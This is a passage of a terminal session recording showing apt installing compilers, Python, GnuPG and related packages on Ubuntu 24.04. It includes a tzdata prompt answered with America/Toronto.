[90.320009, "o", "Unpacking python3-pip (24.0+dfsg-1ubuntu1.3) ...\r\n"]
[90.622918, "o", "Setting up libksba8:amd64 (1.6.6-1build1) ...\r\n"]
[90.648159, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 52%]\u001b[49m\u001b[39m [#################################################################################################...........................................................................................] \u001b8"]
[90.659222, "o", "Setting up pinentry-curses (1.2.1-3ubuntu5) ...\r\n"]
[90.723092, "o", "Setting up media-types (10.1.0) ...\r\n"]
[90.775541, "o", "Setting up javascript-common (11+nmu1) ...\r\n"]
[90.895777, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 53%]\u001b[49m\u001b[39m [###################################################################################################.........................................................................................] \u001b8"]
[90.909512, "o", "Setting up libsharpyuv0:amd64 (1.3.2-0.4build3) ...\r\n"]
[90.952183, "o", "Setting up libaom3:amd64 (3.8.2-2ubuntu0.1) ...\r\n"]
[90.988515, "o", "Setting up libxau6:amd64 (1:1.0.9-1build6) ...\r\n"]
[91.008041, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 54%]\u001b[49m\u001b[39m [#####################################################################################################.......................................................................................] \u001b8"]
[91.020142, "o", "Setting up lto-disabled-list (47) ..."]
[91.022136, "o", "\r\n"]
[91.05698, "o", "Setting up liblerc4:amd64 (4.0.0+ds-4ubuntu2) ...\r\n"]
[91.097634, "o", "Setting up libgdbm6t64:amd64 (1.23-5.1build1) ...\r\n"]
[91.119622, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 55%]\u001b[49m\u001b[39m [#######################################################################################################.....................................................................................] \u001b8"]
[91.133565, "o", "Setting up libgdbm-compat4t64:amd64 (1.23-5.1build1) ...\r\n"]
[91.161147, "o", "Setting up manpages (6.7-2) ...\r\n"]
[91.191385, "o", "Setting up libbrotli1:amd64 (1.1.0-2build2) ...\r\n"]
[91.200882, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 56%]\u001b[49m\u001b[39m [#########################################################################################################...................................................................................] \u001b8"]
[91.218298, "o", "Setting up libsqlite3-0:amd64 (3.45.1-1ubuntu2.5) ...\r\n"]
[91.238608, "o", "Setting up libsasl2-modules:amd64 (2.1.28+dfsg1-5ubuntu3.1) ...\r\n"]
[91.298572, "o", "Setting up binutils-common:amd64 (2.42-4ubuntu2.10) ..."]
[91.298665, "o", "\r\n"]
[91.319022, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 57%]\u001b[49m\u001b[39m"]
[91.320878, "o", " [###########################################################################################################.................................................................................] \u001b8"]
[91.337383, "o", "Setting up libdeflate0:amd64 (1.19-1build1.1) ...\r\n"]
[91.365193, "o", "Setting up linux-libc-dev:amd64 (6.8.0-107.107) ...\r\n"]
[91.389736, "o", "Setting up libctf-nobfd0:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[91.398439, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 58%]\u001b[49m\u001b[39m [#############################################################################################################...............................................................................] \u001b8"]
[91.40989, "o", "Setting up libgomp1:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[91.425669, "o", "Setting up bzip2 (1.0.8-5.1build0.1) ...\r\n"]
[91.463645, "o", "Setting up libldap-common (2.6.10+dfsg-0ubuntu0.24.04.1) ...\r\n"]
[91.480853, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 59%]\u001b[49m\u001b[39m [###############################################################################################################.............................................................................] \u001b8"]
[91.507214, "o", "Setting up libjbig0:amd64 (2.1-6.1ubuntu2) ...\r\n"]
[91.537485, "o", "Setting up libsframe1:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[91.550513, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 60%]\u001b[49m\u001b[39m"]
[91.551619, "o", " [################################################################################################################............................................................................] "]
[91.551852, "o", "\u001b8"]
[91.559988, "o", "Setting up libfakeroot:amd64 (1.33-1) ...\r\n"]
[91.591429, "o", "Setting up libjansson4:amd64 (2.14-2build2) ...\r\n"]
[91.610601, "o", "Setting up libsasl2-modules-db:amd64 (2.1.28+dfsg1-5ubuntu3.1) ...\r\n"]
[91.623554, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 61%]\u001b[49m\u001b[39m [##################################################################################################################..........................................................................] \u001b8"]
[91.630602, "o", "Setting up tzdata (2026a-0ubuntu0.24.04.1) ...\r\n"]
[91.790872, "o", "debconf: unable to initialize frontend: Dialog\r\ndebconf: (No usable dialog-like program is installed, so the dialog based frontend cannot be used. at /usr/share/perl5/Debconf/FrontEnd/Dialog.pm line 79.)\r\ndebconf: falling back to frontend: Readline\r\n"]
[91.894927, "o", "Configuring tzdata\r\n------------------\r\n\r\nPlease select the geographic area in which you live. Subsequent configuration questions will narrow this down by presenting a list of cities, representing the time zones in which they are located.\r\n\r\n  1. Africa  2. America  3. Antarctica  4. Arctic  5. Asia  6. Atlantic  7. Australia  8. Europe  9. Indian  10. Pacific  11. Etc  12. Legacy\r\n\u001b[4mGeographic area: \u001b[24m\u001b[1m"]
[121.06615, "o", "2"]
[121.434209, "o", "\r\n\u001b[0m\u001b[0m\r\n"]
[121.443689, "o", "Please select the city or region corresponding to your time zone.\r\n\r\n  1. Adak                     19. Asuncion        37. Chicago        55. Ensenada              73. Indiana/Tell_City    91. Marigot      109. Noronha                 127. Recife         145. Swift_Current\r\n  2. Anchorage                20. Atikokan        38. Chihuahua      56. Fort_Nelson           74. Indiana/Vevay        92. Martinique   110. North_Dakota/Beulah     128. Regina         146. Tegucigalpa\r\n  3. Anguilla                 21. Atka            39. Ciudad_Juarez  57. Fortaleza             75. Indiana/Vincennes    93. Matamoros    111. North_Dakota/Center     129. Resolute       147. Thule\r\n  4. Antigua                  22. Bahia           40. Coral_Harbour  58. Glace_Bay             76. Indiana/Winamac      94. Mazatlan     112. North_Dakota/New_Salem  130. Rio_Branco     148. Thunder_Bay\r\n  5. Araguaina                23. Bahia_Banderas  41. Costa_Rica     59. Goose_Bay             77. Inuvik               95. Menominee    113. Nuuk                    131. Santa_Isabel   149. Tijuana\r\n  6. Argentina/Buenos_Aires   24. Barbados        42. Coyhaique      60. Grand_Turk            78. Iqaluit              96. Merida       114. Ojinaga                 132. Santarem       150. Toronto\r\n  7. Argentina/Catamarca      25. Belem           43. Creston        61. Grenada               79. Jamaica              97. Metlakatla   115. Panama                  133. Santiago       151. Tortola\r\n  8. Argentina/Cordoba        26. Belize          44. Cuiaba         62. Guadeloupe            80. Juneau               98. Mexico_City  116. Pangnirtung             134. Santo_Domingo  152. Vancouver\r\n  9. Argentina/Jujuy          27. Blanc-Sablon    45. Curacao        63. Guatemala             81. Kentucky/Louisville  99. Miquelon     117. Paramaribo              135. Sao_Paulo      153. Virgin\r\n  10. Argentina/La_Rioja      28. Boa_Vista       46. Danmarkshavn   64. Guayaquil             82. Kentucky/Monticello  100. Moncton     118. Phoenix                 136. Scoresbysund   154. Whitehorse\r\n  11. Argentina/Mendoza       29. Bogota          47. Dawson         65. Guyana                83. Kralendijk           101. Monterrey   119. Port-au-Prince          137. Shiprock       155. Winnipeg\r\n  12. Argentina/Rio_Gallegos  30. Boise           48. Dawson_Creek   66. Halifax               84. La_Paz               102. Montevideo  120. Port_of_Spain           138. Sitka          156. Yakutat\r\n  13. Argentina/Salta         31. Cambridge_Bay   49. Denver         67. Havana                85. Lima                 103. Montreal    121. Porto_Acre              139. St_Barthelemy  157. Yellowknife\r\n  14. Argentina/San_Juan      32. Campo_Grande    50. Detroit        68. Hermosillo            86. Los_Angeles          104. Montserrat  122. Porto_Velho             140. St_Johns\r\n  15. Argentina/San_Luis      33. Cancun          51. Dominica       69. Indiana/Indianapolis  87. Lower_Princes        105. Nassau      123. Puerto_Rico             141. St_Kitts\r\n  16. Argentina/Tucuman       34. Caracas         52. Edmonton       70. Indiana/Knox          88. Maceio               106. New_York    124. Punta_Arenas            142. St_Lucia\r\n  17. Argentina/Ushuaia       35. Cayenne         53. Eirunepe       71. Indiana/Marengo       89. Managua              107. Nipigon     125. Rainy_River             143. St_Thomas\r\n  18. Aruba                   36. Cayman          54. El_Salvador    72. Indiana/Petersburg    90. Manaus               108. Nome        126. Rankin_Inlet            144. St_Vincent\r\n\u001b[4mTime zone: \u001b[24m\u001b[1m"]
[121.900791, "o", "1"]
[122.252713, "o", "5"]
[122.484643, "o", "0"]
[122.774087, "o", "\r\n\u001b[0m\u001b[0m\r\n"]
[122.808861, "o", "\r\nCurrent default time zone: 'America/Toronto'\r\n"]
[122.819355, "o", "Local time is now:      Sat Apr  4 19:06:36 EDT 2026.\r\nUniversal Time is now:  Sat Apr  4 23:06:36 UTC 2026.\r\nRun 'dpkg-reconfigure tzdata' if you wish to change it.\r\n\r\n"]
[122.858803, "o", "Setting up fakeroot (1.33-1) ..."]
[122.863622, "o", "\r\n"]
[122.902279, "o", "update-alternatives: using /usr/bin/fakeroot-sysv to provide /usr/bin/fakeroot (fakeroot) in auto mode\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/fakeroot.1.gz because associated file /usr/share/man/man1/fakeroot-sysv.1.gz (of link group fakeroot) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/faked.1.gz because associated file /usr/share/man/man1/faked-sysv.1.gz (of link group fakeroot) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/es/man1/fakeroot.1.gz because associated file /usr/share/man/es/man1/fakeroot-sysv.1.gz (of link group fakeroot) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/es/man1/faked.1.gz because associated file /usr/share/man/es/man1/faked-sysv.1.gz (of link group fakeroot) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/fr/man1/fakeroot.1.gz because associated file /usr/share/man/fr/man1/fakeroot-sysv.1.gz (of link group fakeroot) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/fr/man1/faked.1.gz because associated file /usr/share/man/fr/man1/faked-sysv.1.gz (of link group fakeroot) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/sv/man1/fakeroot.1.gz because associated file /usr/share/man/sv/man1/fakeroot-sysv.1.gz (of link group fakeroot) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/sv/man1/faked.1.gz because associated file /usr/share/man/sv/man1/faked-sysv.1.gz (of link group fakeroot) doesn't exist\r\n"]
[122.932147, "o", "Setting up rpcsvc-proto (1.4.2-0ubuntu7) ...\r\n"]
[122.96072, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 62%]\u001b[49m\u001b[39m [####################################################################################################################........................................................................] \u001b8"]
[122.973106, "o", "Setting up gcc-13-base:amd64 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[123.009669, "o", "Setting up libx11-data (2:1.8.7-1build1) ..."]
[123.01204, "o", "\r\n"]
[123.050408, "o", "Setting up make (4.3-4.1build2) ...\r\n"]
[123.056079, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 63%]\u001b[49m\u001b[39m [######################################################################################################################......................................................................] \u001b8"]
[123.079501, "o", "Setting up libmpfr6:amd64 (4.2.1-1build1.1) ...\r\n"]
[123.105438, "o", "Setting up gnupg-l10n (2.4.4-2ubuntu17.4) ...\r\n"]
[123.136419, "o", "Setting up xz-utils (5.6.1+really5.4.5-1ubuntu0.2) ...\r\n"]
[123.147792, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 64%]\u001b[49m\u001b[39m [########################################################################################################################....................................................................] \u001b8"]
[123.158232, "o", "update-alternatives: using /usr/bin/xz to provide /usr/bin/lzma (lzma) in auto mode\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/lzma.1.gz because associated file /usr/share/man/man1/xz.1.gz (of link group lzma) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/unlzma.1.gz because associated file /usr/share/man/man1/unxz.1.gz (of link group lzma) doesn't exist\r\n"]
[123.161696, "o", "update-alternatives: warning: skip creation of /usr/share/man/man1/lzcat.1.gz because associated file /usr/share/man/man1/xzcat.1.gz (of link group lzma) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/lzmore.1.gz because associated file /usr/share/man/man1/xzmore.1.gz (of link group lzma) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/lzless.1.gz because associated file /usr/share/man/man1/xzless.1.gz (of link group lzma) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/lzdiff.1.gz because associated file /usr/share/man/man1/xzdiff.1.gz (of link group lzma) doesn't exist\r\n"]
[123.16184, "o", "update-alternatives: warning: skip creation of /usr/share/man/man1/lzcmp.1.gz because associated file /usr/share/man/man1/xzcmp.1.gz (of link group lzma) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/lzgrep.1.gz because associated file /usr/share/man/man1/xzgrep.1.gz (of link group lzma) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/lzegrep.1.gz because associated file /usr/share/man/man1/xzegrep.1.gz (of link group lzma) doesn't exist\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/lzfgrep.1.gz because associated file /usr/share/man/man1/xzfgrep.1.gz (of link group lzma) doesn't exist\r\n"]
[123.18576, "o", "Setting up perl-modules-5.38 (5.38.2-3.2ubuntu0.2) ...\r\n"]
[123.224996, "o", "Setting up libquadmath0:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[123.25423, "o", "Setting up fonts-dejavu-mono (2.37-8) ...\r\n"]
[123.314392, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 65%]\u001b[49m\u001b[39m [##########################################################################################################################..................................................................] \u001b8"]
[123.335687, "o", "Setting up libpng16-16t64:amd64 (1.6.43-5ubuntu0.5) ...\r\n"]
[123.370498, "o", "Setting up libmpc3:amd64 (1.3.1-1build1.1) ...\r\n"]
[123.404615, "o", "Setting up libatomic1:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[123.422045, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 66%]\u001b[49m\u001b[39m [############################################################################################################################................................................................] \u001b8"]
[123.440665, "o", "Setting up patch (2.7.6-7build3) ...\r\n"]
[123.466729, "o", "Setting up fonts-dejavu-core (2.37-8) ...\r\n"]
[123.621796, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 67%]\u001b[49m\u001b[39m [#############################################################################################################################...............................................................] \u001b8"]
[123.630749, "o", "Setting up libjpeg-turbo8:amd64 (2.1.5-2ubuntu2) ...\r\n"]
[123.653092, "o", "Setting up libsasl2-2:amd64 (2.1.28+dfsg1-5ubuntu3.1) ...\r\n"]
[123.674088, "o", "Setting up libwebp7:amd64 (1.3.2-0.4build3) ...\r\n"]
[123.692863, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 68%]\u001b[49m\u001b[39m [###############################################################################################################################.............................................................] \u001b8"]
[123.700676, "o", "Setting up libubsan1:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[123.732109, "o", "Setting up libhwasan0:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[123.76678, "o", "Setting up libcrypt-dev:amd64 (1:4.4.36-4build1) ...\r\n"]
[123.810009, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 69%]\u001b[49m\u001b[39m [#################################################################################################################################...........................................................] \u001b8"]
[123.823916, "o", "Setting up libasan8:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[123.861752, "o", "Setting up netbase (6.4) ...\r\n"]
[123.930992, "o", "Setting up libperl5.38t64:amd64 (5.38.2-3.2ubuntu0.2) ...\r\n"]
[123.957516, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 70%]\u001b[49m\u001b[39m [###################################################################################################################################.........................................................] \u001b8"]
[123.971102, "o", "Setting up libtsan2:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[124.001321, "o", "Setting up libjs-jquery (3.6.1+dfsg+~3.5.14-1) ...\r\n"]
[124.06445, "o", "Setting up libbinutils:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[124.073329, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 71%]\u001b[49m\u001b[39m [#####################################################################################################################################.......................................................] \u001b8"]
[124.094615, "o", "Setting up libisl23:amd64 (0.26-3build1.1) ...\r\n"]
[124.129914, "o", "Setting up libde265-0:amd64 (1.0.15-1build3) ...\r\n"]
[124.161903, "o", "Setting up libc-dev-bin (2.39-0ubuntu8.7) ...\r\n"]
[124.172524, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 72%]\u001b[49m\u001b[39m [#######################################################################################################################################.....................................................] \u001b8"]
[124.194332, "o", "Setting up openssl (3.0.13-0ubuntu3.7) ...\r\n"]
[124.231783, "o", "Setting up libbsd0:amd64 (0.12.1-1build1.1) ...\r\n"]
[124.255566, "o", "Setting up readline-common (8.2-4build1) ...\r\n"]
[124.271482, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 73%]\u001b[49m\u001b[39m [#########################################################################################################################################...................................................] \u001b8"]
[124.301303, "o", "Setting up libcc1-0:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[124.3344, "o", "Setting up libldap2:amd64 (2.6.10+dfsg-0ubuntu0.24.04.1) ...\r\n"]
[124.369817, "o", "Setting up liblocale-gettext-perl (1.07-6ubuntu5) ...\r\n"]
[124.375407, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 74%]\u001b[49m\u001b[39m [###########################################################################################################################################.................................................] \u001b8"]
[124.399381, "o", "Setting up liblsan0:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[124.431773, "o", "Setting up libitm1:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[124.458547, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 75%]\u001b[49m\u001b[39m [#############################################################################################################################################...............................................] \u001b8"]
[124.471294, "o", "Setting up libjs-underscore (1.13.4~dfsg+~1.11.4-3) ...\r\n"]
[124.499854, "o", "Setting up gnupg-utils (2.4.4-2ubuntu17.4) ...\r\n"]
[124.524611, "o", "Setting up libctf0:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[124.548653, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 76%]\u001b[49m\u001b[39m [###############################################################################################################################################.............................................] \u001b8"]
[124.562627, "o", "Setting up libjpeg8:amd64 (8c-2ubuntu11) ...\r\n"]
[124.596282, "o", "Setting up manpages-dev (6.7-2) ...\r\n"]
[124.627945, "o", "Setting up libxdmcp6:amd64 (1:1.1.3-0ubuntu6) ...\r\n"]
[124.642635, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 77%]\u001b[49m\u001b[39m [#################################################################################################################################################...........................................] \u001b8"]
[124.648896, "o", "Setting up libxcb1:amd64 (1.15-1ubuntu2) ...\r\n"]
[124.680696, "o", "Setting up cpp-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[124.702523, "o", "Setting up fontconfig-config (2.15.0-1.1ubuntu2) ...\r\n"]
[124.726821, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 78%]\u001b[49m\u001b[39m [##################################################################################################################################################..........................................] \u001b8"]
[125.588303, "o", "Setting up ca-certificates (20240203) ...\r\n"]
[125.764431, "o", "debconf: unable to initialize frontend: Dialog\r\ndebconf: (No usable dialog-like program is installed, so the dialog based frontend cannot be used. at /usr/share/perl5/Debconf/FrontEnd/Dialog.pm line 79.)\r\ndebconf: falling back to frontend: Readline\r\n"]
[127.771405, "o", "Updating certificates in /etc/ssl/certs...\r\n"]
[131.186222, "o", "146 added, 0 removed; done.\r\n"]
[131.26925, "o", "Setting up perl (5.38.2-3.2ubuntu0.2) ...\r\n"]
[131.344024, "o", "Setting up libgprofng0:amd64 (2.42-4ubuntu2.10) ..."]
[131.346684, "o", "\r\n"]
[131.378293, "o", "Setting up libfreetype6:amd64 (2.13.2+dfsg-1ubuntu0.1) ...\r\n"]
[131.388987, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 79%]\u001b[49m\u001b[39m [####################################################################################################################################################........................................] \u001b8"]
[131.416334, "o", "Setting up libjs-sphinxdoc (7.2.6-6) ...\r\n"]
[131.442223, "o", "Setting up libdpkg-perl (1.22.6ubuntu6.5) ...\r\n"]
[131.459817, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 80%]\u001b[49m\u001b[39m [######################################################################################################################################################......................................] \u001b8"]
[131.474527, "o", "Setting up libreadline8t64:amd64 (8.2-4build1) ...\r\n"]
[131.498263, "o", "Setting up libgcc-13-dev:amd64 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[131.523052, "o", "Setting up libtiff6:amd64 (4.5.1+git230720-4ubuntu2.5) ...\r\n"]
[131.540448, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 81%]\u001b[49m\u001b[39m [########################################################################################################################################################....................................] \u001b8"]
[131.559096, "o", "Setting up gpgconf (2.4.4-2ubuntu17.4) ...\r\n"]
[131.586068, "o", "Setting up libc6-dev:amd64 (2.39-0ubuntu8.7) ...\r\n"]
[131.612933, "o", "Setting up libx11-6:amd64 (2:1.8.7-1build1) ...\r\n"]
[131.649848, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 82%]\u001b[49m\u001b[39m [##########################################################################################################################################################..................................] \u001b8Setting up libfontconfig1:amd64 (2.15.0-1.1ubuntu2) ...\r\n"]
[131.681449, "o", "Setting up gpg (2.4.4-2ubuntu17.4) ...\r\n"]
[131.700168, "o", "Setting up libstdc++-13-dev:amd64 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[131.71227, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 83%]\u001b[49m\u001b[39m [############################################################################################################################################################................................] \u001b8"]
[131.717555, "o", "Setting up binutils-x86-64-linux-gnu (2.42-4ubuntu2.10) ...\r\n"]
[131.739928, "o", "Setting up cpp-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ...\r\n"]
[131.76369, "o", "Setting up gpg-agent (2.4.4-2ubuntu17.4) ...\r\n"]
[131.778647, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 84%]\u001b[49m\u001b[39m [#############################################################################################################################################################...............................] \u001b8"]
[132.599634, "o", "Setting up libpython3.12-stdlib:amd64 (3.12.3-1ubuntu0.12) ...\r\n"]
[132.631566, "o", "Setting up libxpm4:amd64 (1:3.5.17-1build2) ...\r\n"]
[132.665626, "o", "Setting up cpp-13 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[132.676052, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 85%]\u001b[49m\u001b[39m"]
[132.677546, "o", " [###############################################################################################################################################################.............................] \u001b8"]
[132.702709, "o", "Setting up libfile-fcntllock-perl (0.22-4ubuntu5) ...\r\n"]
[132.74071, "o", "Setting up libalgorithm-diff-perl (1.201-1) ..."]
[132.74233, "o", "\r\n"]
[132.773635, "o", "Setting up gcc-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[132.782304, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 86%]\u001b[49m\u001b[39m"]
[132.783604, "o", " [#################################################################################################################################################################...........................] \u001b8"]
[132.807023, "o", "Setting up python3.12 (3.12.3-1ubuntu0.12) ...\r\n"]
[134.037129, "o", "Setting up gpgsm (2.4.4-2ubuntu17.4) ...\r\n"]
[134.075552, "o", "Setting up binutils (2.42-4ubuntu2.10) ...\r\n"]
[134.080669, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 87%]\u001b[49m\u001b[39m [###################################################################################################################################################################.........................] \u001b8"]
[134.099825, "o", "Setting up dpkg-dev (1.22.6ubuntu6.5) ...\r\n"]
[134.137567, "o", "Setting up libpython3.12t64:amd64 (3.12.3-1ubuntu0.12) ...\r\n"]
[134.154784, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 88%]\u001b[49m\u001b[39m [#####################################################################################################################################################################.......................] \u001b8"]
[134.172252, "o", "Setting up dirmngr (2.4.4-2ubuntu17.4) ...\r\n"]
[134.463013, "o", "Setting up libexpat1-dev:amd64 (2.6.1-2ubuntu0.4) ...\r\n"]
[134.481567, "o", "Setting up gcc-13 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[134.49345, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 89%]\u001b[49m\u001b[39m [#######################################################################################################################################################################.....................] \u001b8"]
[134.497886, "o", "Setting up keyboxd (2.4.4-2ubuntu17.4) ...\r\n"]
[134.754357, "o", "Setting up zlib1g-dev:amd64 (1:1.3.dfsg-3.1ubuntu2.1) ...\r\n"]
[134.790623, "o", "Setting up cpp (4:13.2.0-7ubuntu1) ...\r\n"]
[134.841618, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 90%]\u001b[49m\u001b[39m"]
[134.84217, "o", " [#########################################################################################################################################################################...................] \u001b8"]
[134.853262, "o", "Setting up gnupg (2.4.4-2ubuntu17.4) ...\r\n"]
[134.877058, "o", "Setting up libalgorithm-diff-xs-perl:amd64 (0.04-8build3) ...\r\n"]
[134.903178, "o", "Setting up libpython3-stdlib:amd64 (3.12.3-0ubuntu2.1) ...\r\n"]
[134.925961, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 91%]\u001b[49m\u001b[39m [###########################################################################################################################################################################.................] \u001b8"]
[134.939188, "o", "Setting up libalgorithm-merge-perl (0.08-5) ...\r\n"]
[134.956529, "o", "Setting up g++-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[134.96837, "o", "Setting up gcc-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ...\r\n"]
[134.978691, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 92%]\u001b[49m\u001b[39m [############################################################################################################################################################################................] \u001b8"]
[135.00599, "o", "Setting up gpg-wks-client (2.4.4-2ubuntu17.4) ...\r\n"]
[135.042712, "o", "Setting up python3 (3.12.3-0ubuntu2.1) ...\r\n"]
[135.091134, "o", "running python rtupdate hooks for python3.12...\r\n"]
[135.092849, "o", "running python post-rtupdate hooks for python3.12...\r\n"]
[135.275813, "o", "Setting up libpython3.12-dev:amd64 (3.12.3-1ubuntu0.12) ...\r\n"]
[135.288534, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 93%]\u001b[49m\u001b[39m [##############################################################################################################################################################################..............] \u001b8"]
[135.310739, "o", "Setting up python3-wheel (0.42.0-2) ...\r\n"]
[135.534121, "o", "Setting up gcc (4:13.2.0-7ubuntu1) ...\r\n"]
[135.616509, "o", "Setting up python3.12-dev (3.12.3-1ubuntu0.12) ...\r\n"]
[135.631107, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 94%]\u001b[49m\u001b[39m [################################################################################################################################################################################............] \u001b8"]
[135.656691, "o", "Setting up g++-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ...\r\n"]
[135.687271, "o", "Setting up python3-pkg-resources (68.1.2-2ubuntu1.2) ...\r\n"]
[136.002944, "o", "Setting up g++-13 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[136.014178, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 95%]\u001b[49m\u001b[39m [##################################################################################################################################################################################..........] \u001b8"]
[136.040615, "o", "Setting up libpython3-dev:amd64 (3.12.3-0ubuntu2.1) ...\r\n"]
[136.067629, "o", "Setting up python3-setuptools (68.1.2-2ubuntu1.2) ...\r\n"]
[136.777249, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 96%]\u001b[49m\u001b[39m [####################################################################################################################################################################################........] \u001b8"]
[136.790318, "o", "Setting up python3-dev (3.12.3-0ubuntu2.1) ...\r\n"]
[136.826268, "o", "Setting up python3-pip (24.0+dfsg-1ubuntu1.3) ...\r\n"]
[139.036161, "o", "Setting up g++ (4:13.2.0-7ubuntu1) ...\r\n"]
[139.064273, "o", "update-alternatives: using /usr/bin/g++ to provide /usr/bin/c++ (c++) in auto mode\r\nupdate-alternatives: warning: skip creation of /usr/share/man/man1/c++.1.gz because associated file /usr/share/man/man1/g++.1.gz (of link group c++) doesn't exist\r\n"]
[139.07215, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 97%]\u001b[49m\u001b[39m [######################################################################################################################################################################################......] \u001b8"]
[139.081572, "o", "Setting up build-essential (12.10ubuntu1) ...\r\n"]
[139.107061, "o", "Setting up libheif1:amd64 (1.17.6-1ubuntu4.2) ...\r\n"]
[139.137858, "o", "Setting up libgd3:amd64 (2.3.3-9ubuntu5) ...\r\n"]
[139.160662, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 98%]\u001b[49m\u001b[39m [########################################################################################################################################################################################....] \u001b8"]
[139.17534, "o", "Setting up libc-devtools (2.39-0ubuntu8.7) ...\r\n"]
[139.201227, "o", "Setting up libheif-plugin-aomdec:amd64 (1.17.6-1ubuntu4.2) ...\r\n"]
